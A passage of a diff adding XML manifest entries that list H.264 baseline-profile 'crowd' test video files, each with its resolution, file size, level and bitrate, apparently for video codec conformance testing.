+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x1080p50f32_8200kbps_bp.mp4">
+    <value>mime=video/avc,size=814719,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=10171848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x1088p50f32_8300kbps_bp.mp4">
+    <value>mime=video/avc,size=824354,width=1920,height=1088,frame-rate=50,profile=1,level=8192,bitrate=10292296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x1280p50f32_9800kbps_bp.mp4">
+    <value>mime=video/avc,size=956666,width=1920,height=1280,frame-rate=50,profile=1,level=16384,bitrate=11946200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x1440p50f32_11000kbps_bp.mp4">
+    <value>mime=video/avc,size=1093562,width=1920,height=1440,frame-rate=50,profile=1,level=16384,bitrate=13657400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x16p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13208,width=1920,height=16,frame-rate=50,profile=1,level=512,bitrate=153008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x1920p50f32_14700kbps_bp.mp4">
+    <value>mime=video/avc,size=1543785,width=1920,height=1920,frame-rate=50,profile=1,level=32768,bitrate=19285184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x2560p50f32_19600kbps_bp.mp4">
+    <value>mime=video/avc,size=1893232,width=1920,height=2560,frame-rate=50,profile=1,level=32768,bitrate=23653272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_1920x64p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=27567,width=1920,height=64,frame-rate=50,profile=1,level=512,bitrate=332472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_192x128p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13034,width=192,height=128,frame-rate=50,profile=1,level=16,bitrate=150832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_192x144p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13134,width=192,height=144,frame-rate=50,profile=1,level=16,bitrate=152080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_192x192p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13553,width=192,height=192,frame-rate=50,profile=1,level=16,bitrate=157320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_192x256p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13572,width=192,height=256,frame-rate=50,profile=1,level=16,bitrate=157544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_192x288p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13479,width=192,height=288,frame-rate=50,profile=1,level=16,bitrate=156384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2048x1152p50f32_9400kbps_bp.mp4">
+    <value>mime=video/avc,size=911171,width=2048,height=1152,frame-rate=50,profile=1,level=16384,bitrate=11377512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2048x1536p50f32_12500kbps_bp.mp4">
+    <value>mime=video/avc,size=1273467,width=2048,height=1536,frame-rate=50,profile=1,level=32768,bitrate=15906208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2048x2048p50f32_16700kbps_bp.mp4">
+    <value>mime=video/avc,size=1804569,width=2048,height=2048,frame-rate=50,profile=1,level=32768,bitrate=22545000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2160x3840p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2587477,width=2160,height=3840,frame-rate=50,profile=1,level=65536,bitrate=32331344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_216x288p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13554,width=216,height=288,frame-rate=50,profile=1,level=64,bitrate=157312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2304x4096p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2649479,width=2304,height=4096,frame-rate=50,profile=1,level=65536,bitrate=33106360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_240x160p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13592,width=240,height=160,frame-rate=50,profile=1,level=16,bitrate=157808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_240x240p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13504,width=240,height=240,frame-rate=50,profile=1,level=16,bitrate=156712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_240x320p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=21313,width=240,height=320,frame-rate=50,profile=1,level=64,bitrate=254312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_240x360p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=21460,width=240,height=360,frame-rate=50,profile=1,level=64,bitrate=256136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_24x32p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=9129,width=24,height=32,frame-rate=50,profile=1,level=16,bitrate=102024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2560x1440p50f32_14700kbps_bp.mp4">
+    <value>mime=video/avc,size=1552112,width=2560,height=1440,frame-rate=50,profile=1,level=32768,bitrate=19389272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2560x1920p50f32_19600kbps_bp.mp4">
+    <value>mime=video/avc,size=2200127,width=2560,height=1920,frame-rate=50,profile=1,level=32768,bitrate=27489456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2560x2560p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2436257,width=2560,height=2560,frame-rate=50,profile=1,level=65536,bitrate=30441096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2560x3840p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2658588,width=2560,height=3840,frame-rate=50,profile=1,level=65536,bitrate=33220232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_256x144p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13556,width=256,height=144,frame-rate=50,profile=1,level=16,bitrate=157344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_256x192p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13510,width=256,height=192,frame-rate=50,profile=1,level=16,bitrate=156768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_256x256p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13449,width=256,height=256,frame-rate=50,profile=1,level=64,bitrate=156000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_264x352p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=21344,width=264,height=352,frame-rate=50,profile=1,level=64,bitrate=254672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_2880x3840p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2716331,width=2880,height=3840,frame-rate=50,profile=1,level=65536,bitrate=33942024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_288x192p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13354,width=288,height=192,frame-rate=50,profile=1,level=16,bitrate=154824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_288x216p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13576,width=288,height=216,frame-rate=50,profile=1,level=64,bitrate=157584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_288x288p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=20762,width=288,height=288,frame-rate=50,profile=1,level=64,bitrate=247408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_288x352p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=28900,width=288,height=352,frame-rate=50,profile=1,level=64,bitrate=349136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_288x512p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=37103,width=288,height=512,frame-rate=50,profile=1,level=256,bitrate=451672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_3072x4096p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2790761,width=3072,height=4096,frame-rate=50,profile=1,level=65536,bitrate=34872384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_320x240p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=20979,width=320,height=240,frame-rate=50,profile=1,level=64,bitrate=250136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_320x320p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=29141,width=320,height=320,frame-rate=50,profile=1,level=128,bitrate=352144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_320x480p50f32_600kbps_bp.mp4">
+    <value>mime=video/avc,size=44862,width=320,height=480,frame-rate=50,profile=1,level=256,bitrate=548656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_32x24p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=8809,width=32,height=24,frame-rate=50,profile=1,level=16,bitrate=98024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_32x32p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=8958,width=32,height=32,frame-rate=50,profile=1,level=16,bitrate=99896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_350x350p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=28659,width=350,height=350,frame-rate=50,profile=1,level=256,bitrate=346112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_352x264p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=20950,width=352,height=264,frame-rate=50,profile=1,level=64,bitrate=249744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_352x288p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=28447,width=352,height=288,frame-rate=50,profile=1,level=64,bitrate=343472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_352x352p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=29170,width=352,height=352,frame-rate=50,profile=1,level=256,bitrate=352512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_356x638p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70522,width=356,height=638,frame-rate=50,profile=1,level=512,bitrate=869408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_356x640p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70435,width=356,height=640,frame-rate=50,profile=1,level=512,bitrate=868312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_358x636p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70677,width=358,height=636,frame-rate=50,profile=1,level=512,bitrate=871344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_358x640p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70639,width=358,height=640,frame-rate=50,profile=1,level=512,bitrate=870856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x240p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=20764,width=360,height=240,frame-rate=50,profile=1,level=64,bitrate=247432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x360p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=37521,width=360,height=360,frame-rate=50,profile=1,level=256,bitrate=456896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x480p50f32_600kbps_bp.mp4">
+    <value>mime=video/avc,size=45370,width=360,height=480,frame-rate=50,profile=1,level=256,bitrate=555000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x636p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70264,width=360,height=636,frame-rate=50,profile=1,level=512,bitrate=866184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x638p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70439,width=360,height=638,frame-rate=50,profile=1,level=512,bitrate=868368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_360x640p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70175,width=360,height=640,frame-rate=50,profile=1,level=512,bitrate=865056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_3840x2560p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2602286,width=3840,height=2560,frame-rate=50,profile=1,level=65536,bitrate=32516456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_3840x2880p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2670357,width=3840,height=2880,frame-rate=50,profile=1,level=65536,bitrate=33367344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_384x512p50f32_700kbps_bp.mp4">
+    <value>mime=video/avc,size=53478,width=384,height=512,frame-rate=50,profile=1,level=256,bitrate=656360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_4096x2304p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2580560,width=4096,height=2304,frame-rate=50,profile=1,level=65536,bitrate=32244872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_4096x3072p50f32_24000kbps_bp.mp4">
+    <value>mime=video/avc,size=2743107,width=4096,height=3072,frame-rate=50,profile=1,level=65536,bitrate=34276712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_472x472p50f32_800kbps_bp.mp4">
+    <value>mime=video/avc,size=62178,width=472,height=472,frame-rate=50,profile=1,level=512,bitrate=765112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x320p50f32_600kbps_bp.mp4">
+    <value>mime=video/avc,size=45288,width=480,height=320,frame-rate=50,profile=1,level=256,bitrate=553984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x360p50f32_600kbps_bp.mp4">
+    <value>mime=video/avc,size=45502,width=480,height=360,frame-rate=50,profile=1,level=256,bitrate=556648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x480p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70488,width=480,height=480,frame-rate=50,profile=1,level=512,bitrate=868984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x640p50f32_1200kbps_bp.mp4">
+    <value>mime=video/avc,size=96257,width=480,height=640,frame-rate=50,profile=1,level=512,bitrate=1191096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x720p50f32_1300kbps_bp.mp4">
+    <value>mime=video/avc,size=105435,width=480,height=720,frame-rate=50,profile=1,level=512,bitrate=1305824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_480x848p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=130172,width=480,height=848,frame-rate=50,profile=1,level=512,bitrate=1615032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_48x64p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=11955,width=48,height=64,frame-rate=50,profile=1,level=16,bitrate=137344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_512x288p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=37248,width=512,height=288,frame-rate=50,profile=1,level=256,bitrate=453480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_512x384p50f32_700kbps_bp.mp4">
+    <value>mime=video/avc,size=53597,width=512,height=384,frame-rate=50,profile=1,level=256,bitrate=657848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_512x512p50f32_1000kbps_bp.mp4">
+    <value>mime=video/avc,size=79003,width=512,height=512,frame-rate=50,profile=1,level=512,bitrate=975432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_528x704p50f32_1400kbps_bp.mp4">
+    <value>mime=video/avc,size=114759,width=528,height=704,frame-rate=50,profile=1,level=512,bitrate=1422384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_576x1024p50f32_2300kbps_bp.mp4">
+    <value>mime=video/avc,size=196325,width=576,height=1024,frame-rate=50,profile=1,level=1024,bitrate=2441944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_576x704p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=133112,width=576,height=704,frame-rate=50,profile=1,level=512,bitrate=1651800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_576x720p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=132514,width=576,height=720,frame-rate=50,profile=1,level=512,bitrate=1644320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_600x800p50f32_1900kbps_bp.mp4">
+    <value>mime=video/avc,size=158114,width=600,height=800,frame-rate=50,profile=1,level=512,bitrate=1964312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_636x358p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70156,width=636,height=358,frame-rate=50,profile=1,level=512,bitrate=864832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_636x360p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70259,width=636,height=360,frame-rate=50,profile=1,level=512,bitrate=866120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_638x356p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70382,width=638,height=356,frame-rate=50,profile=1,level=512,bitrate=867656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_638x360p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70034,width=638,height=360,frame-rate=50,profile=1,level=512,bitrate=863312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x356p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70069,width=640,height=356,frame-rate=50,profile=1,level=512,bitrate=863736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x358p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=70226,width=640,height=358,frame-rate=50,profile=1,level=512,bitrate=865696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x360p50f32_900kbps_bp.mp4">
+    <value>mime=video/avc,size=71029,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=875736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x480p50f32_1200kbps_bp.mp4">
+    <value>mime=video/avc,size=96729,width=640,height=480,frame-rate=50,profile=1,level=512,bitrate=1197000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x640p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=132674,width=640,height=640,frame-rate=50,profile=1,level=512,bitrate=1646320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x848p50f32_2100kbps_bp.mp4">
+    <value>mime=video/avc,size=176698,width=640,height=848,frame-rate=50,profile=1,level=512,bitrate=2196624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_640x960p50f32_2400kbps_bp.mp4">
+    <value>mime=video/avc,size=205382,width=640,height=960,frame-rate=50,profile=1,level=1024,bitrate=2555168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x1080p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13814,width=64,height=1080,frame-rate=50,profile=1,level=64,bitrate=160544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x1280p50f32_300kbps_bp.mp4">
+    <value>mime=video/avc,size=20873,width=64,height=1280,frame-rate=50,profile=1,level=128,bitrate=248800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x1920p50f32_400kbps_bp.mp4">
+    <value>mime=video/avc,size=28004,width=64,height=1920,frame-rate=50,profile=1,level=512,bitrate=337936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x48p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=11463,width=64,height=48,frame-rate=50,profile=1,level=16,bitrate=131200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x64p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=11979,width=64,height=64,frame-rate=50,profile=1,level=16,bitrate=137632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x720p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13766,width=64,height=720,frame-rate=50,profile=1,level=16,bitrate=159968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_64x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=12767,width=64,height=96,frame-rate=50,profile=1,level=16,bitrate=147480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_704x528p50f32_1400kbps_bp.mp4">
+    <value>mime=video/avc,size=114746,width=704,height=528,frame-rate=50,profile=1,level=512,bitrate=1422224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_704x576p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=132572,width=704,height=576,frame-rate=50,profile=1,level=512,bitrate=1645048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_704x704p50f32_1900kbps_bp.mp4">
+    <value>mime=video/avc,size=160677,width=704,height=704,frame-rate=50,profile=1,level=512,bitrate=1996360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x1280p50f32_3600kbps_bp.mp4">
+    <value>mime=video/avc,size=319419,width=720,height=1280,frame-rate=50,profile=1,level=1024,bitrate=3980624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x16p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13146,width=720,height=16,frame-rate=50,profile=1,level=16,bitrate=152224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x480p50f32_1300kbps_bp.mp4">
+    <value>mime=video/avc,size=105729,width=720,height=480,frame-rate=50,profile=1,level=512,bitrate=1309496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x576p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=132863,width=720,height=576,frame-rate=50,profile=1,level=512,bitrate=1648680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x64p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13556,width=720,height=64,frame-rate=50,profile=1,level=16,bitrate=157344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x720p50f32_2000kbps_bp.mp4">
+    <value>mime=video/avc,size=170358,width=720,height=720,frame-rate=50,profile=1,level=512,bitrate=2117368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_720x960p50f32_2700kbps_bp.mp4">
+    <value>mime=video/avc,size=233841,width=720,height=960,frame-rate=50,profile=1,level=1024,bitrate=2910912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_72x128p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13072,width=72,height=128,frame-rate=50,profile=1,level=16,bitrate=151280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_72x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13063,width=72,height=96,frame-rate=50,profile=1,level=16,bitrate=151168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_768x1024p50f32_3100kbps_bp.mp4">
+    <value>mime=video/avc,size=273062,width=768,height=1024,frame-rate=50,profile=1,level=1024,bitrate=3401160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_800x600p50f32_1900kbps_bp.mp4">
+    <value>mime=video/avc,size=160660,width=800,height=600,frame-rate=50,profile=1,level=512,bitrate=1996136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_800x800p50f32_2500kbps_bp.mp4">
+    <value>mime=video/avc,size=214579,width=800,height=800,frame-rate=50,profile=1,level=1024,bitrate=2670136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_848x480p50f32_1600kbps_bp.mp4">
+    <value>mime=video/avc,size=132856,width=848,height=480,frame-rate=50,profile=1,level=512,bitrate=1648584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_848x640p50f32_2100kbps_bp.mp4">
+    <value>mime=video/avc,size=179264,width=848,height=640,frame-rate=50,profile=1,level=512,bitrate=2228696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_848x848p50f32_2800kbps_bp.mp4">
+    <value>mime=video/avc,size=243954,width=848,height=848,frame-rate=50,profile=1,level=1024,bitrate=3037320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_8x8p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=4344,width=8,height=8,frame-rate=50,profile=1,level=16,bitrate=42208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_960x1280p50f32_4900kbps_bp.mp4">
+    <value>mime=video/avc,size=447907,width=960,height=1280,frame-rate=50,profile=1,level=2048,bitrate=5586720,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_960x1440p50f32_5500kbps_bp.mp4">
+    <value>mime=video/avc,size=509443,width=960,height=1440,frame-rate=50,profile=1,level=8192,bitrate=6355920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_960x640p50f32_2400kbps_bp.mp4">
+    <value>mime=video/avc,size=208855,width=960,height=640,frame-rate=50,profile=1,level=1024,bitrate=2598584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_960x720p50f32_2700kbps_bp.mp4">
+    <value>mime=video/avc,size=237630,width=960,height=720,frame-rate=50,profile=1,level=1024,bitrate=2958272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_960x960p50f32_3600kbps_bp.mp4">
+    <value>mime=video/avc,size=322999,width=960,height=960,frame-rate=50,profile=1,level=1024,bitrate=4025384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x128p50f32_200kbps_bp.mp4">
